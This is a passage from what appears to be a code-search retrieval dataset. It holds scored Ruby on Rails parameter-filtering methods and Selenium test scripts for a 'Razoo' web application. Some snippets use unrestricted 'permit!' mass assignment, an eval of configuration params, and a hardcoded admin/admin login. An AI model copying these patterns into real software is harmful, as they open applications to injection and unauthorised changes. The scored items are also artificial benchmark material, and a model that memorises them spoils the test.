"0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.62250364", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "6008e8707eafce375988b3c7ccf098c3", "score": "0.62147176", "text": "def original_params; end", "title": "" }, { "docid": "4ba8f5cdb0399571d60b7242794ce47f", "score": "0.62035644", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61931455", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b977c2daceb28f26ee659336b2b98aa9", "score": "0.618889", "text": "def params\n raise \"Override protected method `params'.\"\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6180647", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6180104", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6175616", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "d3732ff42abd0a618a006d1f24e31e38", "score": "0.61731255", "text": "def add_to_filter_parameters; end", "title": "" }, { "docid": "8e54eaded22dd280d836e96375fed9a4", "score": "0.61730814", "text": "def paramun_params\n params.require(:parametre).permit!\n end", "title": "" }, { "docid": "f8c05c05fb596260a51d3ab4fb42243d", "score": "0.6172509", "text": "def required_parameters\n [ ]\n end", "title": "" }, { "docid": "19080b9212dc7ba3727f80cc9430e426", "score": "0.6172386", "text": "def special_params\n params.require(:special).permit(:name, :description, :function)\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6163843", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.6146083", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b9e34b5ac2955add85639f9ca0a07b7f", "score": "0.6145458", "text": "def resource_params\n permits = resource_whitelist\n params.require(model_symbol).permit(permits)\n end", "title": "" }, { "docid": "d646c7ba579499db9edadb606c8b9910", "score": "0.61444825", "text": "def permitted_params\n logger.warn \"#{self}: please override `permitted_params` method.\"\n params.require(resource_request_name).permit!\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.61364955", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "c4a951d3ba89c6d098a96d3d5a2b8643", "score": "0.61280644", "text": "def collection_permitted_params\n params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6113519", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "34fb76d8decc10cd29ada824ff70ae63", "score": "0.6112032", "text": "def permitted_resource_params\n p params[object_name].present? ? params.require(object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.6106793", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "11f5f8959aba1f4022c60509f20e40af", "score": "0.61061025", "text": "def permit_params\n params[:permit]\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.6105072", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "4632c7949842c8534d66b50254032add", "score": "0.6092409", "text": "def parameterization_params\n params.permit(:name, :user_id, :number_value, :money_value)\n end", "title": "" }, { "docid": "bfa951108b69c8eed106b7ad8acbcbfd", "score": "0.60909486", "text": "def data_param\n params.permit(:value)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.60895824", "text": "def filter_params\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.6083517", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.6081807", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6079226", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "44a1ec524e77d2a2c4b85e8341df27db", "score": "0.6077248", "text": "def product_params\n params.permit(:visible)\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.60767365", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.60746986", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.60703695", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6070048", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.6069783", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "c1f13277dbc8ff3a9f65df027f9d915a", "score": "0.6063365", "text": "def permitted_params(unpermitted_params)\n unpermitted_params.permit(\n :controller,\n :action,\n :site_id,\n :format,\n :type,\n :path_contains,\n :new_url_contains,\n :tagged,\n )\n end", "title": "" }, { "docid": "cf963fb451b51d62fcc986deb020a044", "score": "0.6047726", "text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend", "title": "" }, { "docid": "77b78ffc267fcf03379cf09c63ad361c", "score": "0.60399187", "text": "def gallery_params\n params.require(:gallery).permit(:name, :white_list)\n end", "title": "" }, { "docid": "be92e82ba93b35cac91b7c02d6a445f7", "score": "0.6033119", "text": "def get_params\r\n #params.require(:view_adm).permit(:name, :action_scope,:caps,:cols)\r\n params.require(:view_adm).permit!\r\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.6029004", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "5b72cb3f5ae45681ff116df46f5da01b", "score": "0.6025425", "text": "def provider_params\n params.permit(:name)\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" } ]
2b19106b16e5e569a095d6e82eef04e8
Description: It is a METHOD for invoking the Razoo Site
[ { "docid": "eb1bf6efb0085690cec925641af07859", "score": "0.0", "text": "def invokeRedmineSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => \"http://sra941\",\n\t\t:timeout_in_second => 250\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/ReadCenter-Analytics/\"\n\t $browser.type \"id=txtUserName_I\", \"admin\"\n\t $browser.type \"id=txtPassword_I\", \"admin\"\n\t $browser.click \"css=#btnLogin_CD > span\"\n\t $browser.click \"name=btnLogin\"\n\t $browser.wait_for_page_to_load \n\t $browser.click \"id=ctl00_DashboardContentPlaceHolder_kdbsSurface_db_2_Cts_wuc_dtEditFrom_B-1Img\"\n\t $browser.click \"css=#ctl00_DashboardContentPlaceHolder_kdbsSurface_db_2_Cts_wuc_btnView_CD > span\"\n\t $browser.click \"name=ctl00$DashboardContentPlaceHolder$kdbsSurface$db$2_Cts$wuc$btnView\"\n\t $browser.click \"id=ext-gen48\"\n\t $browser.click \"id=ext-gen28\"\n\t $browser.click \"link=Network Analysis\"\n\t $browser.wait_for_page_to_load \n\t sleep 5\n\t begin\n\t\tassert $browser.is_element_present(\"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_AT1T\")\n\t\t$browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_AT1T\"\n\t\tputs \"inside At1t\"\n\t\tsleep 25\n\t rescue Test::Unit::AssertionFailedError\n\t\tputs \"inside t0t\"\n\t\t$browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_T0T\"\n\t end\n\t\tsleep 5\n\t $browser.click \"id=PanZoomBar_zoomin_innerImage\"\n\t sleep 25\n\t $browser.click \"id=PanZoomBar_zoomout_innerImage\"\n\t sleep 25\n\t $browser.click \"id=OL_Icon_310_innerImage\"\n\t begin\n\t\tassert $browser.is_text_present(\"96499386\")\n\t\tputs \"pass\"\n\t rescue Test::Unit::AssertionFailedError\n\t\t\n\t end\n\t $browser.click \"id=12176_close\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_mapNetwork_chkArea_S_D\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_cpMapCallback_grdGateway_DXFREditorcol4_I\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_cpMapCallback_grdGateway_DXFREditorcol4_I\"\n\t $browser.type \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_cpMapCallback_grdGateway_DXFREditorcol4_I\", \"12345678\"\n\t $browser.click \"//img[@onclick=\\\"aspxGVFilterRowMenu('ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_cpMapCallback_grdGateway',4,this)\\\"]\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_rndpnlSearch_tabPage_cpMapCallback_grdGateway_cell0_1_btnEdit\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_popupAssetGridData_cpPopup_ucAssetInformation_cmbState_I\"\n\t $browser.click \"css=#ctl00_TailContentPlaceHolder_popupAssetGridData_cpPopup_ucAssetInformation_btnSave_CD > span\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_popupAssetGridData_cpPopup_ucAssetInformation_dtInstallDate_B-1Img\"\n\t $browser.click \"id=ctl00_TailContentPlaceHolder_popupAssetGridData_cpPopup_ucAssetInformation_dtInstallDate_DDD_C_BT\"\n\t $browser.click \"css=#ctl00_TailContentPlaceHolder_popupAssetGridData_cpPopup_ucAssetInformation_btnCancel_CD > span\"\n\t $browser.click \"id=ctl00_lnkSignout\"\n\t $browser.wait_for_page_to_load \"30000\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" } ]
[ { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "b0f5e152764f751c7a6a6ed5c331b99a", "score": "0.6982859", "text": "def site; end", "title": "" }, { "docid": "6b7768a073ed586baea1362f5d63f4d3", "score": "0.6684639", "text": "def invokeRazooSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*iexplore\", \n\t\t:url => \"https://www-qatrunk.razoo.com/login\",\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" }, { "docid": "b32fe613b020d0923a0378fa6445dfa6", "score": "0.6551835", "text": "def /\n TotoBongo::logger.debug(\"Called Site::/ \")\n self[:root]\n end", "title": "" }, { "docid": "03327c756d438f5e48124752e5ef59fa", "score": "0.6550897", "text": "def invokeRazooSite(test_site)\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => test_site,\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" }, { "docid": "03327c756d438f5e48124752e5ef59fa", "score": "0.6550897", "text": "def invokeRazooSite(test_site)\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => test_site,\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" }, { "docid": "03327c756d438f5e48124752e5ef59fa", "score": "0.6550897", "text": "def invokeRazooSite(test_site)\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => test_site,\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" }, { "docid": "3df80c3f4e81dd6e2f878d03ae356cec", "score": "0.65481204", "text": "def run\n msg(Site.run)\n end", "title": "" }, { "docid": "02211dc4eec05e7cb47fab2c4a471710", "score": "0.6537182", "text": "def site\n self\n end", "title": "" }, { "docid": "d5837871232276c61e7bdb9eb9552c1c", "score": "0.6400887", "text": "def my_page\n end", "title": "" }, { "docid": "7ad5f5f2c3e378140e255676d64ae866", "score": "0.6394673", "text": "def site(arg); end", "title": "" }, { "docid": "aafa8e3e6c28a4b438b3318f57059c07", "score": "0.63924706", "text": "def site\n raise 'please override me'\n end", "title": "" }, { "docid": "36d627858fafa0c65b24a3a8eed89e0f", "score": "0.6381562", "text": "def get\n visual_top.method(:page_view)\n end", "title": "" }, { "docid": "833e676d10986ec4ac90c27d7365d02b", "score": "0.6378602", "text": "def invokeRazooSite(test_site)\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*safari\", \n\t\t:url => test_site,\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "title": "" }, { "docid": "c07b002f88883e8c6dbf7e1e232f1027", "score": "0.63763195", "text": "def goto\n @site.goto self.class.url\n end", "title": "" }, { "docid": "c07b002f88883e8c6dbf7e1e232f1027", "score": "0.63763195", "text": "def goto\n @site.goto self.class.url\n end", "title": "" }, { "docid": "a3973ab5d756f48cb8ba50c898f3838e", "score": "0.63623", "text": "def call_site=(_); end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.63410634", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.63410634", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.63410634", "text": "def page; end", "title": "" }, { "docid": "0025ccc966e3236cdc1d3a77396b9f3a", "score": "0.62535584", "text": "def url_for_main; end", "title": "" }, { "docid": "0025ccc966e3236cdc1d3a77396b9f3a", "score": "0.62535584", "text": "def url_for_main; end", "title": "" }, { "docid": "a100120a0e949eed8749f1d550e9e800", "score": "0.6225866", "text": "def front_page\n\n end", "title": "" }, { "docid": "efaa7b337377a2b09f11a4c1c21e1ae1", "score": "0.6218428", "text": "def home_page\n \n end", "title": "" }, { "docid": "9370f7a3851cbbe5684c36844d696722", "score": "0.61965376", "text": "def homepage\n end", "title": "" }, { "docid": "5b0ec72358ec669f0789a5d82a62b383", "score": "0.6189385", "text": "def loc_view\n \n end", "title": "" }, { "docid": "167b340e2a53946fce55078a88313bd1", "score": "0.6119585", "text": "def main_page\n agent.get(@url)\n end", "title": "" }, { "docid": "18362da27fb3966ac2a80ac45e32ec42", "score": "0.6114167", "text": "def views; end", "title": "" }, { "docid": "18362da27fb3966ac2a80ac45e32ec42", "score": "0.6114167", "text": "def views; end", "title": "" }, { "docid": "53b033770a95ca9ca20d982db690a975", "score": "0.6113703", "text": "def choose_method\n # renders static page\n end", "title": "" }, { "docid": "c43ddcc886f61961e9de2dbabd0ae19d", "score": "0.611109", "text": "def homepage\n end", "title": "" }, { "docid": "c43ddcc886f61961e9de2dbabd0ae19d", "score": "0.611109", "text": "def homepage\n end", "title": "" }, { "docid": "c43ddcc886f61961e9de2dbabd0ae19d", "score": "0.611109", "text": "def homepage\n end", "title": "" }, { "docid": "dfaf84444c01487ea82ba427aad1fa5c", "score": "0.6098491", "text": "def new_site\n\n end", "title": "" }, { "docid": "6705cdb9d3f745ef42b6a0a75b9c8c69", "score": "0.6094162", "text": "def homepage\n\n end", "title": "" }, { "docid": "a5b6669502d01513c14747e902268fb3", "score": "0.60883975", "text": "def landing_page\n end", "title": "" }, { "docid": "ba37c216d8e719d66f760fe75db68e90", "score": "0.6074599", "text": "def site\n raise NotImplementedError\n end", "title": "" }, { "docid": "00a243f8e252d898f86c7fa961db923e", "score": "0.6067063", "text": "def index(context)\n # Build the whole page by wrapping the content in all the auxilliary HTML\n @content = erb :content\n erb :index\nend", "title": "" }, { "docid": "afb6c2143b3d3b982318e55d6d4cfb9b", "score": "0.6057039", "text": "def RunTest()\n TelevisionPage()\nend", "title": "" }, { "docid": "6c2d9cc9a7eb95bf12243164e4494a35", "score": "0.6049216", "text": "def url()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "6c2d9cc9a7eb95bf12243164e4494a35", "score": "0.6049216", "text": "def url()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "472c2f17831369785b80a888a203f56e", "score": "0.6028619", "text": "def help\n\n # stub; simply show the view in app/views/static_pages\n\n end", "title": "" }, { "docid": "3bde52efc3e42868cc37a556ced77336", "score": "0.60194844", "text": "def site_set\n\n end", "title": "" }, { "docid": "b8a3d7b5f28aa4558cc4b6137d32de20", "score": "0.6017955", "text": "def go route, env = {}, type = :html\n TotoBongo::logger.debug(\"Called Site::go \")\n #check if the request includes an specific route\n #else call / to get the index \n route << self./ if route.empty?\n\n type, path = type =~ /html|xml|json/ ? type.to_sym : :html, route.join('/')\n context = lambda do |data, page|\n Context.new(data, @config, path, env).render(page, type)\n end\n\n body, status = if Context.new.respond_to?(:\"to_#{type}\")\n\n if route.first =~ /\\d{4}/\n case route.size\n when 1..3\n context[archives(route * '-'), :archives]\n when 4\n context[article(route), :article]\n else \n puts \"400\"\n http 400\n end #end case\n\n\n # Responde to a path, when the request is for example index \n elsif respond_to?(path)\n #call the path, it will return the HTML of the path\n context[send(path, type), path.to_sym]\n else\n context[{}, path.to_sym]\n end\n else\n http 400\n end #end context new respond\n\n return body, status\n\n rescue Errno::ENOENT => e\n TotoBongo::logger.info(\"Errno:ENOENT: #{e.message} \")\n return :body => http(404).first, :type => :html, :status => 404\n else\n TotoBongo::logger.debug(\"Status set 200 OK\")\n return :body => body || \"\", :type => type, :status => status || 200\n end", "title": "" }, { "docid": "af62f103378bd953628950fc729b956e", "score": "0.59983444", "text": "def page\n end", "title": "" }, { "docid": "8de37d209226af98cf15336dcf4b552e", "score": "0.5995079", "text": "def test_LiveSite\n\n end", "title": "" }, { "docid": "1f83070534e8ec4b2a5bf760dea11c7b", "score": "0.5974188", "text": "def home\n#Home Page\n end", "title": "" }, { "docid": "c55fdeeafe1e7d9f67bb6ed6dbc7c975", "score": "0.5973381", "text": "def request_site\n frm.button(:value=>\"Request Site\").click\n SiteSetup.new(@browser)\n end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "0740b6aa1fcfd5206194cca3aa668796", "score": "0.59714186", "text": "def url; end", "title": "" }, { "docid": "58574136a31ccfbd540592cce57ec8b4", "score": "0.596677", "text": "def web?; end", "title": "" }, { "docid": "38354c0dd0c314483e4c023b64e49f68", "score": "0.5966574", "text": "def view; end", "title": "" }, { "docid": "38354c0dd0c314483e4c023b64e49f68", "score": "0.5966574", "text": "def view; end", "title": "" }, { "docid": "056389fe478e62767d8ac3633bba29a1", "score": "0.59664965", "text": "def public_landing; end", "title": "" }, { "docid": "056389fe478e62767d8ac3633bba29a1", "score": "0.59664965", "text": "def public_landing; end", "title": "" }, { "docid": "73df85b286aebec621fd0439445faf24", "score": "0.5952643", "text": "def scrape_show\n\n end", "title": "" }, { "docid": "69b163a5d5f314e3f787a5d468a4f54d", "score": "0.5949865", "text": "def home\n\t\t#Home Page\n\tend", "title": "" }, { "docid": "69b163a5d5f314e3f787a5d468a4f54d", "score": "0.5949865", "text": "def home\n\t\t#Home Page\n\tend", "title": "" }, { "docid": "db796f5251847f59629f41a5912ee56f", "score": "0.59257", "text": "def home; end", "title": "" }, { "docid": "db796f5251847f59629f41a5912ee56f", "score": "0.59257", "text": "def home; end", "title": "" }, { "docid": "ea046f8b70332e4a0cf44dff4be307c2", "score": "0.592243", "text": "def index\n # index\n @page_title = \"EcomPages Admin\"\n end", "title": "" }, { "docid": "30ed07240e27b7bd763c27d6671ebce9", "score": "0.5914257", "text": "def site_admin\n end", "title": "" }, { "docid": "69cab0fa8e52663d99367c4f18fece85", "score": "0.58960265", "text": "def index\n ###\n #index is super helpful\n p \"program\"\n end", "title": "" }, { "docid": "9d01e69bd9e334a42236123e6d482ac2", "score": "0.5893357", "text": "def page\n\t\t\t\t\tsend(current_template)\n\t\t\t\tend", "title": "" }, { "docid": "9d01e69bd9e334a42236123e6d482ac2", "score": "0.5893357", "text": "def page\n\t\t\t\t\tsend(current_template)\n\t\t\t\tend", "title": "" }, { "docid": "044201f1a7ca273f202b5437c0856262", "score": "0.58902115", "text": "def web_endpoint; end", "title": "" }, { "docid": "a3653f1d7af52e556467c1617b543a4b", "score": "0.5867026", "text": "def website\n @search_title = 